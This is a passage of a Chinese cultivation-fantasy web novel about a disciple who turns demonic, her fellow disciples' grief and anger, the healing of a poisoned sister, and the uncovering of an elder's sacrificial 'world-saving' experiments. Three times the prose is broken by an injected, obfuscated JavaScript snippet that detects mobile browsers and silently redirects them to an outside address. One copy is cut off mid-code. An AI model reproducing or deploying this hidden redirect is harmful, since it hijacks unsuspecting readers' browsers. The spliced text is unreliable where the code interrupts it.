姬忘尘并不理会她们,将弯刀聚成环刃,往洞内所有的白茧上甩去又收回。其中一个白茧失去了支撑,破开的缝隙露出了闭着眼睛、气若游丝的章律。不过好在她意识残存之时将自己蜷作一团,这才没有被茧中的黏液伤及脸部。 “师姐——”汤穗穗率先反应过来,邱礼宁平稳地放在身旁靠着石壁,转身就推开墨陵,想要往姬忘尘的方向扑过去——却被后者调用灵力束缚在当场。 “别过来。”姬忘尘看似冷静,其实只有她自己知道,她脑海中那股难言的、堪比撕裂的头痛不停地影响着她的思绪。 说起来,她也算是理解入魔到底的真实感受。 不仅头疼,暴虐的情绪还被无限放大。当她看到面前的活物时,脑海中的第一反应是想将她们撕扯成碎片,靠残虐的手段来平息脑海中的剧痛。 尽管如此,她是凭借自己一惯的自制力将其克制,还能勉强开口应对昔日的同伴。 “姬忘尘……”单手的墨陵握着手中长剑,抬手剑指姬忘尘,“你入魔了。” 出身于戒律堂的墨陵一直信奉“无规矩不成方圆”,面对魔物,他知晓自己应当无情将其斩杀。 可是…… 他也明明知道,面前的女人是靠入魔直接越境突破,这才避免了她们成为魔物的盘中餐。 才承了对方的救命之恩,转头就要对她兵戎相向,他无法说服自己真的将长剑刺出——他做不到。 更重要的是,曾经的他不是姬忘尘的对手;如今面对越境后的姬忘尘,损失了一条手臂的自己更无胜算。 他只能赌。 赌面前的姬忘尘还残存理智。 “你要干什么!”汤穗穗不知墨陵心中所想,看到他的动作连忙转身,拦在姬忘尘的面前,“你怎么能这么忘恩负义?明明……明明师姐是为了我们,才做出这个选择的……” 一边说着,汤穗穗一边控制不住自己的眼泪止不住地往下淌。 为什么事情会变成现在的样子? ……按话本的编排,击杀魔物之后,难道不应该是其乐融融的合家欢吗? “她入魔了。”墨陵将视线移到面前涕泗横流的少女,垂眸冰冷地开口。 这句话不仅仅是强调给汤穗穗,更是强调给他自己,让他不要因为“曾经”的同门之情就放虎归山。 “难道就因为师姐入了魔,就否定她曾经做过的一切吗?!”汤穗穗觉得面前这个人怎么看怎么讨厌,伸手甩出自己链剑,将面前的人束缚着,“不管你怎么说,我绝对不会让你对我师姐动手的!” 或许是方才的战斗将逼到了极致,面对汤穗穗突如其来的攻击,墨陵非但没有躲开,反而十分顺利就被对方控制在原地。他尝试扭动身体挣扎,却被链剑上的剑刃戳破了肌肤,沁出血珠。 “师姐我们快走吧,离她们越远越好!”汤穗穗眼看控制住了对方,不假思索地师姐开口。她想起唐澄澄她们已经去宗门求援,倘若继续耽搁下去,说不对就和她们碰面。 汤穗穗冷静地分析着自己的状态,她知道那时候的自己就很难再带着师姐脱离出来。 “……我、们?”一旁的姬忘尘并没有专心听两人的交流,她正聚精会神地跟脑海中的暴虐情绪争夺理智。听到汤穗穗的声音,她抬头与前者对视,赤色的眼瞳深邃无比,几乎能洞察对方的灵魂。 汤穗穗不自觉地咽下口水,再一次跟师姐提出离开。可面前的师姐好像神智已经不太清醒,她迟钝地重复着:“我、们?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863484|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她看得心急,还想继续说着什么,却听到周围好像听到有人呼唤她们的名字。她下意识地转身背对着师姐,想要替师姐提防来人。 可下一秒,她感觉到后颈传来一阵钝痛,眼前一黑不受控制地往下滑落。在闭上眼睛之前,她才听到墨陵紧张急促的提醒:“——小心!” 姬忘尘伸手揽住面前少女的身体,垂眸看着她她软软地躺在自己的臂弯,片刻后抬头望向已经挣脱链剑的墨陵:“带她回去吧。” “姬忘尘,快走吧。”墨陵上前接过汤穗穗的身体,转过身背对着对方,将汤穗穗扶到邱礼宁的身旁放下。他也听到了周围凌乱的脚步声,还有一些耳熟的声音。 他知道,现在就是姬忘尘离开的最好时机。 “……谢谢。”洞中的风将她最后的回应送到墨陵的耳中。后者用力地闭上眼,不去看对方离开的身影。 情与理的天平,第一次倾向了前者。 当汤穗穗清醒的时候,已经躺在了宗门上、葛长老的药堂中。 她强撑着自己坐了起来,不远处的桌子放着自己的链剑。她下意识地摸向自己的后颈,似乎那里还留着当时的钝痛。 “还疼?”一道熟悉的声音从身后传来,汤穗穗回头看去,唐澄澄端着药碗从门外走了进来,“不应该啊,我用了师姐的药,活血散瘀最是有效……” 汤穗穗摇摇头,试探性地开口:“师姐呢?” 听到她的问话,唐澄澄手上的动作顿了顿,佯装没听出对方口中的意味:“我师姐吗?最近在药堂帮忙,忙得很,也就把我也抓来了;蓝师姐的话,还埋头在她的阵法上,好像已经有了很大的进展——” “我是问,我师姐呢?”汤穗穗直接打断了面前的人,从床上慢腾腾地下来,大步走到唐澄澄的面前,紧紧地盯着后者逃避的眼神,又重复了一遍,“我师姐呢?” “忘尘师姐……” “澄澄,你先走吧。”有一人从门外跨了进来,将唐澄澄从威吓的气氛中解救了出来。唐澄澄也因此将堵在口中的气咽了下去,连忙缩着身子离开了房间。 “恢复得不错,还能吓人了。”葛长老完全没有理会汤穗穗现在漆黑如墨的脸色,伸手动用灵气再一次对对方做了简单的检查:“身上没有什么问题吧?” 相比失去手臂、容貌和至今昏迷不醒的三人相比,汤穗穗的状况算是最好的。 “我师姐呢?” “还挂念着她呢?”葛长老没空关心她的烦闷,低头将方才的药碗塞到了面前人的手里,“你不是知道了吗?她入魔了,还逃了。” 终于问到师姐下落的汤穗穗呼出一口浊气,终于将悬在心口的那块巨石落了下去。她端起手里的药碗一饮而尽,苦涩的药水也不能填满她此刻内心的空洞,不过也拉回了些许游离的意识。 “葛长老,你好像不在乎师姐她入魔的这件事……”汤穗穗犹豫着开口,“您不喜欢我师姐吗?” “如果她惜命一些,我或许会喜欢。”葛长老坐了下来,拍了拍衣袖上不存在的灰尘,饶有兴致地回答,“一天到晚血人似得被送到我这里,没修养几天,就又跑了。” 对于这点,汤穗穗也曾听闻过师姐拼命的作风——这也和葛长老见面时的不善的态度对应上了几分。 “我知道她的。无论多少次,她永远将自己放在最后。”似乎知道汤穗穗心中所想,葛长老垂眸望着自己身上的花纹,低声开口,“与其说是入魔,更不如说……这次,反倒是她体内的魔种保住了这条小命。 “灵气也好,魔气也罢,终究是一种修行方式。若是有益就留下,若是有害便祛除,世界之道也。” 88.她会杀了姬忘尘 不过葛长老并没有将这个话题继续下去。 她知道自己的想法过于与宗门的理念不符,她很快就止住了嘴,又将话题绕回了汤穗穗的身上。眼看汤穗穗没什么问题之后,她也就此离开,将更多心神放在伤势更重的几人身上。 即便午间被汤穗穗的态度吓跑,晚间饭点时,唐澄澄还是照样端着饭和药碗来到了房间。 想起那时的态度,汤穗穗不免有些脸红,连声道歉,解释是当时过于紧张师姐的状态,这才没有控制好自己。 而唐澄澄也知道好友的状态,连连摇头,一边布菜一边宽慰对方。 从唐澄澄的口中,汤穗穗也知道自己昏倒之后的事情。成洱师姐带来的援助虽然比不上姬忘尘师姐得到速度,但也动用了特制的阵法在几个时辰之后赶到,正好碰上等待救援的唐澄澄她们。 她们亲自带着路去到洞中时,已经不见了姬忘尘的身影。只看到靠在石壁边上的她们,还有坐在三人面前打坐的墨陵。 从墨陵的口中,她们也得知了姬忘尘入魔的事情。来不及找寻姬忘尘的痕迹,她们先将四人带回宗门。 还惦记着汤穗穗的状态,唐澄澄并没有逗留很久。与此同时,她也收集到了合适的关于机关装置的数据,忙着回去处理。 汤穗穗知道好友的性格,她也不再久留。她滚到了床上酝酿睡意,打算靠睡觉混过去。但是她在床上闭了好长一段时间,还是没能入睡。 汤穗穗如今身体已无大碍,只是仍需要密切关注一段时间,避免魔气还有残留的影响。躺在床上的时候,她想到了师姐留下的纸笺。 说来也巧,汤穗穗如今养伤的房间正好就在师姐暂住的旁边。 想起这一点,她也睡不着,从床上爬起来,小心翼翼地摸到旁边的房间。 药堂后院的房间都不上锁,主要是留给伤病严重的同门休息,也便于葛长老随时观察她们的状况。 因此,汤穗穗稍用了些力便推开了门。房间内的布置仍像对方还未离开时的模样,一切物件都摆放得整整齐齐。她依着记忆打开柜子,从中间找到存放的锦囊。 垂眸望着面前得到锦囊,她觉得沉甸甸的,就像承载着什么一样。想起关于白宸那些还没理清的事情,她转身做到伸手的桌前,将手中的囊拆开,倒出被墨迹污染的纸笺。 与那时相比,此时的纸笺已经有一半被师姐清除干净,还根据墨迹与纸笺上的内容做了一定的分类。 直到现在,她依旧坚信师姐的魔种一定跟白宸有关。 既然师姐没能将真相查明,那剩下的部分,就交由她来处理吧。 ……总归不能将真相埋藏下去。 “姬忘尘!”蓝鄞的声音一大早就穿过药堂的房间,猛地拍开紧闭的房门,正好对上趴在桌上睡得正香的汤穗穗。 听到剧烈地动静,汤穗穗也被吵醒了,她下意识揉了惺忪的睡眼,仰头望向面前的来人:“……蓝师姐?” “是我。”蓝鄞将巴掌大小的锦囊用力拍在桌上,另一只手抬起揉了自己疲乏的双眼,不自觉地打了个哈欠,“……姬忘尘呢,我把阵法破了,这沓就是当时的纸笺。” 那天分别之后,蓝鄞就将自己完全埋头与阵法中。不知道试验了多少套方式,又不知嗑了多少补灵丹、熬了多少昼夜,终于将困扰多年的阵法顺利破解。 她甚至顾不上休息,将纸笺全部收敛起来,就连忙跑到药堂。她希望尽快找到姬忘尘,这样两人合作,就能够将上面的墨迹清除干净,这样也能尽早找到白宸当时的谋划。 可正因为她全神贯注在阵法的事情上,还完全不知道关于姬忘尘入魔的事情。面对一无所知的蓝师姐,汤穗穗笑着在转移话题,伸手将对方手中的之间拿过来,推着蓝师姐的肩膀让对方去休息。 终于成功解除阵法、拿到其中纸笺的蓝鄞心中石头终于落了地,交给汤穗穗之后,精神也不自觉地松懈下来、再也控制不住那股笼罩自己的睡意,她双腿发软、两眼一黑就倒了下去。 还好面前的汤穗穗眼疾手快抱住了对方,让对方靠在自己的肩头。她一动也不敢动,还以为蓝师姐出了什么事,正要大声喊周围帮忙的师长时,她凝神观察到蓝师姐规律的呼吸喷在自己的颈侧,这才松了一口气。 还好不是出事了,只是因为过于劳累而缺乏休息。 “……辛苦了,蓝师姐。”她垂眸望着对方眼底的青黑,抿着唇心中百味交集,嘴角想扬起笑容,却怎么都提不起来。 她还记得蓝师姐对于自家师姐的维护,倘若蓝师姐知道自家师姐入魔之后,又会露出怎样的表情呢?是觉得自己所托非人,还是觉得师姐辜负了她的信任呢? 她知道两位师姐都为了收拾白宸的残局,付出了极大的努力。可 这让她更想尽快地将当时的谋算解明。 不过在那之前,还是让蓝师姐好好休息一下吧。 正巧前来送药的唐澄澄见到了这一幕,她连忙上前和汤穗穗一道,将蓝师姐半扶着扶到旁边、原本属于汤穗穗的床上。 两人看着蓝师姐安静的睡颜,汤穗穗不由得在心中叹了口气。 她将唐澄澄端来的苦药一饮而尽,转身回到最开始的房间中,借助那点苦涩的味道让自己清醒,逼迫自己全神贯注地清除纸笺上的墨迹。 她屏气凝神,将自己的全部心神放在功法的运用上。 一开始她还有些磕磕绊绊,但越到后面越是娴熟,一个时辰的时间就能清除干净一张。 她完全忘记了时间,手边被清理干净的纸笺越来越多,她也完全投入在这样的状态中。直至房间外传来喧闹的声音,她这才将自己从中抽离出来。 一觉睡醒的蓝鄞感觉自己神清目明,深吸一口气又伸了个懒腰,从床上爬起来,打算协助姬忘尘完成墨迹的清理。两人一起行动,也能尽快地将纸笺的内容解读出来。 没想到拉开门之后,却看到了意料之外的墨陵。他的脸色憔悴了不少,以往俊秀的脸上也留下了大大小的划痕,即便伤口经过了处理,还是看起来十分狼狈。 然而更惹人注意的,还得是他那空荡荡的一边袖管。 “你怎么把自己搞得这么狼狈?”蓝鄞靠在门边打了个哈欠,随口关心了一句,又马上拐入正题,“哦对了,你看到姬忘尘了吗?” 但当她话音刚落,面前的墨陵站定在原地,久久地凝望着自己,对方的眼神带着复杂的情绪,嘴唇翕动,却欲言又止。 从对方的沉默中,蓝鄞敏锐地察觉到大事不妙。她站直身子上前,迈步靠近墨陵,紧蹙着眉头开口,声音无意思带上急促:“到底发生什么事了?!” “姬忘尘她……”确认面前人的茫然并非作假,墨陵垂眸望着地面,平静地开口,“她入魔了。” 话音刚落,面前的蓝鄞上前一把抓住墨陵的衣领,提起来离地几寸:“胡说八道什么,墨陵你作为戒律堂的人,说话也这么不负责任吗?!” 蓝鄞的动作和声音并未遮掩,周围来往的门徒看到她的动作。连忙上前阻拦,纷纷劝说蓝鄞,可蓝鄞不管不顾,只认为是面前人肆意造谣。 “有本事你再说一次。”蓝鄞怒视瞪着面前的男人,双目似乎能喷出将人灼烧的真火。可被拎着的人并未反抗,只是保持着沉默承受着她的怒火,垂头望着地面。 周围的同门纷纷上前劝说这什么,蓝鄞什么都听不清,只觉得脑袋嗡嗡的。 长久的沉默将蓝鄞的怒火浇息,勉强拉回了些许理智。 她控制住胸膛大幅度的起伏,张了张嘴,艰难地将方才男人说的话重复了一遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“……是真的。”汤穗穗的声音有些沙哑,不自觉地带上鼻音,下意识抬头小心观察蓝师姐的脸色,“师姐的体内本就藏有魔种,为了救我们,她激发了魔种,运用魔气越境……” 与汤穗穗预料的盛怒不同,蓝鄞脸上更多是面无表情,就像听着和自己完全无关的故事:“所以,她跑了?” “废、物。”没有等任何人的回复,蓝鄞勾出嘲讽的笑容,将自己的手臂用力地抽了出来,转头盯着狼狈的墨陵,一字一顿地开口。 “不是师姐,大家都没想到会发生这样的事情,”旁边的人还想说些什么,用眼神示意墨陵,想要他也开口。 但是墨陵垂眸沉默着,不知道在想什么。 “蓝师姐……”汤穗穗上前,好像说些什么。 “对了还有你。”蓝鄞将冰冷的视线扫到汤穗穗的身上,用力捏紧了身侧的衣摆,胸膛几番起伏,才终于挤出一句,“……骗子。” “……这也不怪墨师兄,谁知道那传言居然是真的呢。”人群中有人正碎碎念着,忽然几道锋利的视线就朝他刺了过来。 吓得那人咽了咽口水,举起手:“——当然我知道是忘尘师姐一定是迫不得而为之……” “管好你们的嘴。”蓝鄞移开视线,轻哼一声,视线在人群中扫过一圈,最后落在墨陵的脸上,“——不然这戒律堂,不如我来管。” 众人噤声,面面相觑。往日蓝鄞师姐在宗门中的评价很好,以至于她们都忘了,这位面对魔种也是位不折不扣的杀神,武艺上仅仅是略逊姬忘尘一筹的宗门天才。 蓝鄞没有理会在场众人的神情,转身进入之前姬忘尘的房间。虽然姬忘尘离开了宗门,但关于白宸入魔、隐藏的魔种等等背后的真相,就算只有她自己,她也一定要将真相查个水落石出。 至于姬忘尘…… 蓝鄞眯了眯眼,按下翻涌起的复杂情绪,也不管掌心几乎被抠破的甲印,望着桌上的锦囊。 ——她会杀了姬忘尘。 一定。 她决不会允许任何魔物,破坏山下来之不易的安定。 89.不值得 汤穗穗眼看蓝师姐转身进了房间,连忙跟上对方的脚步。方才蓝师姐的神情着实将她吓在了原地,不过她相信蓝师姐依旧是蓝师姐。 只是望着蓝师姐探身整理桌上的纸笺上,她捏紧了自己的手,不知道应当怎么开口。正当她犹豫着应当怎么打破房间里沉闷的气氛时,背身对她的蓝师姐冷不丁地开口:“这些都是你做的?” 她猛地抬起头,蓝师姐拎起几张已经清除干净的纸笺,挑眉问着自己。 “是、是的。”汤穗穗连忙上前解释,提起当时师姐跟自己说起过白宸的事情,所以想着接下师姐没做完的事情。 听着面前人的解释,蓝鄞垂眸望着纸笺上的信息,并未应答,也看不出在想什么。 “蓝师姐……”汤穗穗小心翼翼地开口,唤回面前人的思绪,“是我做得有什么不妥吗?” “没有。”蓝鄞将手中的纸张放下,拉了椅子坐在另一边,“继续吧,这就是我们的活了。” 汤穗穗有些呆愣地站在原地,无措地眨眨眼,面前的蓝师姐又恢复了往常的状态那样。 “等什么呢?”蓝鄞头也不抬,将还没清理的纸笺拿了过来,“你也要学姬忘尘那样半途甩下烂摊子吗?” “来、来了。”汤穗穗连忙上前坐回方才的位置,低着头将清理过的纸笺分类。 她手上的动作看起来很忙,当她眼神总是不自觉地撇向身旁已经进入状态的蓝鄞,抿着唇心情复杂,很多话不知道从何说起。 但汤穗穗的视线过于直白,蓝鄞想忽视都没有办法。她沉下胸口的闷气,抬头正好对上对方打量的视线,挑着眉:“说吧,支支吾吾的,我又不吃人。” 虽然蓝师姐不吃人,但是蓝师姐很吓人。 不过这话汤穗穗可不敢当着对方的面说出来。她有很多关于师姐的事情想问,可临出口时,又止住了话头,将话语咽了下去。 她最后摇摇头,扬起笑容:“不用了。” “你想问我关于姬忘尘的吧。”蓝鄞就像她肚中的蛔虫那样,直接地点明了她所思所想,“改天吧,我现在没心情。” 既然蓝师姐话都这样说了出口,汤穗穗也不会纠缠下去。 两人就这样沉默着,继续完成面前纸笺的处理。 不过蓝师姐并没有呆很久,她们不过才处理了不到十张纸笺,就有人来药堂找到蓝师姐,说是阵法上的问题需要请教。蓝师姐自然不会拒绝,她想汤穗穗表达了歉意之后,就跟着那人离开了房间。 望着桌上的纸笺,汤穗穗觉得自己的脑袋又乱作一团,怎么都静不下心来。既然静不下心来,那她也不没有办法继续方才的工作,不如出去走走、暂时换换心情。 不过汤穗穗没有想到,她拉开门之后迎面碰上葛长老。她乖巧地向对方问好,对方照例问询她的状况之后,提起另一件事情:“你知道什么解毒的法子吗?” “解毒?”汤穗穗不知道对方何来此问,缓慢地摇摇头。 葛长老对上汤穗穗的眼神,知道自己也是病急乱投医了。不过她并没有向对方隐瞒真相:需要解毒的是邱礼宁。 在葛长老的诊治下,也得益于被灵气淬炼的身体,现在她的气息已经平稳了下来。然而处理巨蛛这类魔物的汁液,葛长老并不精通,葛长老一般精通的是跌打损伤,或是直接的魔气根除。 如今的邱礼宁仍躺在床上,望着她那张被黏液破坏的、坑坑洼洼的面庞、手背,葛长老也束手无策。 提起邱师姐,汤穗穗的脑海中涌现的就是危急关头师姐对自己的维护。 因此,她绝对不能对师姐的情况不管不顾,甚至让这样的情况恶化下去。 她的脑海中想到了一个人,连忙转身扔下一句话就往外跑去:“我去找师傅!” 她虽然不知道宗门有谁会,但她想到了作为宗主的师傅,相信对方一定有解决的办法——不管是药还是人,一定会有办法的。 因为她忧心忡忡地往外跑去,跑过某个拐角的时候,不小心撞到一个人的身上。对方身材很健壮,撞得汤穗穗猛地往后倒退几步,失误了平衡坐在了地面上,掌心也被地上的砂砾划破,火辣辣的疼。 可是她管不了那么多,掌心强撑着按压在地上,撑着自己站起来。掌心传来的、细细密密的疼痛丝丝攥紧她的血肉中,让她忍不住皱眉。 因为心中着急邱师姐的状况,她也完全没有抬头望向来人,而是低头匆匆地说了句“抱歉我还有事”,起身就往那人身旁跑过去。 那人却直接拉住了她的手臂,低声开口:“穗穗,你要去哪,这么莽撞?” 听到熟悉的声音,汤穗穗这才猛地抬头。当她对上成师姐脸上担忧的神情时,那些积攒在心间许久的委屈与无措全都涌了上来,一瘪嘴险些就要哭出来。 她下意识蜷起了手,掌中钻心的疼让她忍不住吸着鼻子,磕磕绊绊地将邱师姐的情况说给成师姐听,希望对方也能替她们找到一些帮助。 “师、师姐!”还没等成师姐开口,身后也传来了另一道气喘吁吁的声音,正是唐澄澄。她身上还背着一个布包,扶着墙眼睛放亮看向两人:“等、等很久了吗?” “没有。”成师姐伸手接过对方身上的布包,转身将汤穗穗的手抓了过来,简单地从布包里掏出伤药和干净的布条,“别着急,我也正有这个想法。” 成洱曾经出身山下的镖局世家,家族众人常年走南闯北,因此对一些蛇虫鼠蚁之类的野外诊治颇有心得,甚至还留下了专治的药方,这几日帮工时,听葛长老说起邱礼宁的状况,她也想到了当时从山下带来的、誊抄的医册,打算也做上简单的尝试。 “那太好了!”汤穗穗眼睛一亮,就像找到了希望一样连忙抓着对方的手,“那我们快走吧!” 她的动作之大,又牵扯到了掌心的伤口,鲜血又洇湿刚包扎的布条。成洱看着对方的动作叹了口气,最终还是什么都没说。 眼看得到了希望,汤穗穗连忙转身奔回药堂,急急忙忙地找到葛长老,说起成师姐的事情。葛长老和成洱经常打交道,也知道对方的性格,连忙点头应承下来。 说话间,成洱也到了药堂中。葛长老二话没说,就将几人带到邱礼宁如今休息的房间,房间中还有一位邱礼宁的师妹,眼眶通红,眼下青黑难掩。 见到一行人进来,她连忙起身,看向走在最前面的葛长老,神色焦急:“葛长老,这是……” 从师姐回山后的这几天,她担心师姐会出什么意外,基本上没有合过眼——生怕这一小憩,就永远失去床上的师姐。 不过好在,现在终于等到了转机。 听着成洱主动说明了来意,女子脸上的泪水比话语先一步滑落。她极力地控制自己情绪,勉强稳定和成洱交谈关于师姐这几天的状况。 “我先按我的想法来。”成师姐没有打包票,不过她的心中有几分猜测。不过在做一切之前,她还是将丑话说在了前头:“即便我能处理她身上的蛛液,能让她恢复清醒…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876454|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但,我也保不住她的这张脸、还有已经受损的肌肤。” “没事的没事的……”女子连连摇头,生怕自己的回答惹对方不快,而不去救治师姐。毕竟脸上的伤疤还能带面具遮盖,但若是师姐因此而没有了性命,那才是真的抱憾终天。 “我还以为你说什么呢。”葛长老将成洱推进了房间里,嘴上不客气地开口,“赶紧治疗便是。人都快死了,还在乎脸好不好看。” 汤穗穗就站在门口的位置,并没有走进房间里。她听着长老和师姐们的对话,只觉得心脏被狠狠地捏紧,几乎不能正常呼吸。她又无意识地捏紧自己的双手,掌心里的那股痛让她不自觉蹙眉,可还是不能缓和那股难以言说的郁闷。 忽然,她感觉自己的手指正被人扯开。 低头看去,是一直默默站在身边的唐澄澄。她伸手轻柔但用力地将自己的手指拉起,而后将她的伸手轻轻地盖在自己的掌心上。对方的手避开了自己的伤口,小心翼翼地拢在上面。做完这一切,她才抬头和自己对视。 “穗穗……”她脸上的神情很平静,还带起弯弯的笑容,她轻声开口:“别担心,会好的。” 对方就像对她使用了什么神奇的法术,在澄澄温和的语言和掌心传递的温度之间,竟然真的慢慢抚平了自己内心的不安。 “澄澄,你知道吗……”汤穗穗艰涩地开口,从未散去的愧疚让她更对邱师姐这件事自责,“都是因为我……邱师姐才会变得现在这样……” “不是的。不是因为你。”澄澄笃定地开口,“这只是我们这一路上,履行应尽的责任而已。 “为什么?” “‘救世’,是乾坤宗最核心的宗旨。”唐澄澄知道自己的好友对宗门相关的内情并不了解,也就趁此机会细细讲来,“你还记得吗?最开始的宗门众人,以身为容器纳入魔气后自毁——以此净化灵气。……后来的百余年间,一代一代的人修缮心法,降低净化魔气的损耗,这才有了如今的心法。” 其实这些汤穗穗都还记得,这些被写在了心法的相关书籍的前几页,就是为了让她们不要忘了先辈们的付出。 “可和我有什么关系……”她还是不理解,澄澄为什么要说出这一段过往。 “因为,不管是最初还是现在……我们行走在这路上,维持灵魔两气的平衡杆,不就是为了这世间安宁吗?”澄澄脸上的笑容依旧十分真诚,她口中的话语也很理所当然,“你也是世间的一部分。” 因为她是世间的一部分,所以在那个关头,几位师长会义无反顾地向保护她们:不管是先将她们送走,又或是后面对她们毫无保留的保护…… 都只是为了,“救世”。 “……值得吗?”汤穗穗不自觉的呢喃出口。这样看起来毫无道理的行为,真的值得吗? “我不知道。”唐澄澄坦然地回答,“或许值得,或许不值得——但回答这个问题的人不是我,而是邱师姐。” “不值得。”可是汤穗穗这样斩钉截铁地说,一边将自己的手从唐澄澄的手心抽出,转身离开。 她依旧觉得为了毫不不相干的旁人献出自己的全部,一点都不值得。 ……她还是没有宗门众人那般无私奉献的觉悟。 既然如此,不如就处理完师姐留下的事务后自请离宗,去追随师姐的足迹。 又或者,只是做名浪迹天涯的自由客。 兴许那样,她还会有机会与母亲重逢,说一说这路上的艰难险阻。 90.救世? 回到房间的汤穗穗又一次坐在了桌案前,只是现在的状态和方才完全不同。她垂眸望着桌上的锦囊,心中情绪不停翻涌,方才澄澄的话语还响彻在脑海中。 她深深的意识到,她和宗门中的许多人有着理念上的隔阂,这也让感觉自己在宗门中格格不入。 她忍不住又想起了师姐。 ……可是师姐也从未明说自己的想法,她也摸不透师姐是否也是像她们那样的想法。 ……算了,还是先把面前的纸笺处理完全吧。 汤穗穗闭上眼,做了深呼吸,将脑海中冗杂的思绪清理干净。而后睁开眼,将锦囊中尚未处理的纸笺倒出来,专心致志地投入到清理上。 为了避免旁人打扰,她将房门合紧,还写了一张字条压在门前。摒弃了脑海中的杂念后,她处理墨迹的速度也变快了许多。当她感觉自己灵力堵塞时,掏出袋中的补灵丹毫不犹豫咽了下去;等周围变得昏暗,她随手点起了桌上的油灯…… 面前又一张布满墨迹的纸张被清除干净,留下需要阅读的信息,她脸色未变顺手放在了右边;同时左手往手旁摸去,未曾想这次竟然摸了个空。 她心生疑惑,机械性地伸手摸向两个锦囊抖了抖,也没有更多的纸笺掉出来。 这时候汤穗穗才稍微将自己从专注的状态抽离出来,偏头望向自己右边堆积成小山似的纸张,后知后觉发现自己已经将一切清楚完全。 ——接下来,就是最重要、也是最关键的一步:将上面的信息整合出来。 也就意味着,现在的她正离当年的真相仅咫尺之遥。 汤穗穗垂眸敛下眼中复杂的情绪,伸手将所有的纸笺拢起、摆放在桌面,从“小山”的最上方开始,一张张拿出来认真地阅读着书写的内容给,并逐一分类整理。 房间里的窗户并未扣紧。 昏暗中,山风顺着窗户间的缝隙钻进来,险些带起轻盈的纸张,不过被一双手用旁的物件按在了桌案上;山风有些不服气,它又往带着桌案前那人的碎发,轻盈地起舞着,若即若离……可是依旧没有得到那人的青睐。 泄气的山风拉来调皮的阳光,在房间里尽情起舞着——或在她的后背上,又或者在桌上不断长高、不断拓宽的“田里”,又或者再一次拉起她的头发,在头上、后背轻盈跳跃…… 可活泼的阳光没有山风那般锲而不舍,找不到乐趣便又从窗户缝隙中钻了出去。 房间里又只剩下沉默的人和孤独的风。 …… 不知道山风和阳光第几次又在人身上起舞时,那人或许被它们的肆无忌惮影响到了,抬头转了转酸疼的脖子,却正好和明媚的阳光对视,不自觉地将手遮挡在眼前,也遮挡住布满血丝的双眼和青黑一片的眼下。 “呼……”借着阳光,汤穗穗合眼将闷在胸口的那股气呼了出来。 直到方才,她终于将全部的纸笺阅读、并分门别类,将所有的信息整合起来,还原成原本的模样——也因此,她解开了笼在真相上的那层晦暗的薄雾。 越是接近真相,她的心中越是觉得沉重。直到现在,还是不能认可白宸——或者说宗门所谓的“救世”一说。 促使白宸做出那么多匪夷所思的行为,正是所谓的“救世”:他需要培养一个强大的魔物,再将其击杀,从而得到更多被净化的灵气,以此一劳永逸。 那些厚厚一沓的纸笺,也正如起初她们所推测的那样,记录着白宸无数次试验的记录,还有验材的情况。他选用的验材从寻常的魔物、到地缚灵——最后是活生生的人。 除了白宸自己,在纸笺中她还看到了熟悉的名字:姬忘尘。 而她还在白宸这里,找到了当时在澄澄机关室那本书的后半截书页。被撕下的书页详细地记录着如何将魔气纳入体内并隐藏,又如何通过魔气培育、炼化魔种…… 这些法诀也正是当时白宸教会杜蕴辰的那些。 之所以将主意打在师姐身上,也正因为师姐和白宸是世上绝无仅有的纯粹的灵体,理论上可以容纳世间绝大部分的魔气。 ……按着白宸的理论进行下去,等她们体内的魔气容纳到极限状态时,如除魔一般净化,将会一次性换来打量的滋润世间的灵气。 以白宸的计算,这些灵气能换来世间至少百年的灵气积蓄。 “……这样看起来也挺划算的,不是吗?”汤穗穗的指尖划过已经泛黄的纸笺,凝视着上面变得潦草的字体,轻声开口。 似乎是在叩问笔迹的主人,又像是在叩问自己。被遗忘的山风不甘示弱,跳起来拉着她的发丝在眼前“荡秋千。” 她伸手将发丝按回而后,脸上勾起讽刺的笑容,垂在身侧的另一只手攥紧,按到了堪堪愈合的掌心的伤口:“可你有什么资格……主宰旁人的命运?” 这条所谓“救世”的道路上,由无数愿望与鲜血铺就。不知情的人被卷上这条路,有人因此失去了珍贵的性命;也有人因此被迫走上这条一开始就被安排的道路,站在对立的那面。 这不应该是她们的选择。 不管是这次历练所见到倒在路上殒命的前辈,又或是失去重新轮回机会的杜蕴辰,还有被白宸长久的计划影响着的姬忘尘…… ——因为被拉上这条船的她们,从一开始就没有选择。 倘若这就是所谓的“救世”,难道她们不是这个世间的一部分吗?为什么要以她们的性命为代价,完成白宸自己的心愿? 这失之偏颇。 更让汤穗穗觉得讽刺的是,当她看完全部的记录,白宸因为这件事滋生了心魔,在体内生成了魔种,这也就让他对这件事更为执着——以至于提前诱发体内的魔种,并失控发狂…… 最后如愿死在“救世”路上的他,可会后悔过丝毫? 可惜,她无从揣测对方的想法。现在的她只觉得心中闷得慌,被厚重的无能为力和厌弃笼罩,勉强维持自己的理智。 